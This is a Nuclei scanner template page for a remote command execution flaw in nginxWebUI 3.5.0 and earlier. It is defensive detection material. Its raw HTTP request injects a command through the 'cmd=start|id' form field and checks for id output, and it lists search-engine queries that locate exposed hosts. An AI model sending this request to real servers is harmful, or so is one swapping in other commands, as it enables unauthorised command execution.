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nginxWebUI ≤ 3.5.0 - Remote Command Execution

ID: nginx-webui-rce

Severity: critical

Author: ritikchaddha

Tags: nginx,nginxwebui,webui,rce

Description

Section titled “Description”

There is a command execution vulnerability in the nginxWebUI backend. After logging in to the backend, the attacker can execute any command to obtain server permissions.

YAML Source

Section titled “YAML Source”
id: nginx-webui-rce


info:
  name: nginxWebUI ≤ 3.5.0 - Remote Command Execution
  author: ritikchaddha
  severity: critical
  description: |
    There is a command execution vulnerability in the nginxWebUI backend. After logging in to the backend, the attacker can execute any command to obtain server permissions.
  reference: |
    - https://forum.butian.net/article/243
  metadata:
    max-request: 1
    shodan-query: title="nginxwebui"
    fofa-query: title="nginxwebui"
  tags: nginx,nginxwebui,webui,rce


http:
  - raw:
      - |
        POST /adminPage/remote/cmdOver HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        remoteId=local&cmd=start|id&interval=1


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'


      - type: word
        part: header
        words:
          - "application/json"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502205cfca6db6b6255fba8967f3b6cc623577248af7f237c9a198a15ac0cf8a3cc60022100bcf068fd72d0e4f172d736f2f29a0806098b48f0785c74cf4048463804bd1770:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/nginx-webui-rce.yaml"

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